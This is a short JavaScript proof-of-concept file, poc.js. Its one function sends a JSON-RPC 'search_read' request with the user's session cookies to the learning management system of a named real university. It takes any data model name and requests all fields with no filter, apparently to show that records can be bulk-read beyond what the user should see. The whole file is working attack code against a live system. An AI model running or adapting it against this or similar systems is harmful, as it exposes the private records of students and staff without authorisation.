poc.js

async function search_data(model) { 
  return await (await fetch("https://lms.uet.edu.pk/web/dataset/search_read", {
  "headers": {
    "accept": "application/json, text/javascript, */*; q=0.01",
    "accept-language": "en-US,en;q=0.9",
    "cache-control": "no-cache",
    "content-type": "application/json",
    "pragma": "no-cache",
    "sec-fetch-dest": "empty",
    "sec-fetch-mode": "cors",
    "sec-fetch-site": "same-origin",
    "x-requested-with": "XMLHttpRequest"
  },
  "referrer": "https://lms.uet.edu.pk/web?",
  "referrerPolicy": "strict-origin-when-cross-origin",
  "body": "{\"jsonrpc\":\"2.0\",\"method\":\"call\",\"params\":{\"model\":\"" + model + "\",\"fields\":[],\"domain\":[],\"context\":{\"lang\":\"en_US\",\"tz\":\"Asia/Karachi\",\"params\":{\"action\":113},\"bin_size\":true},\"offset\":0,\"limit\":80,\"sort\":\"\"},\"id\":135986193}",
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
 })).json();
}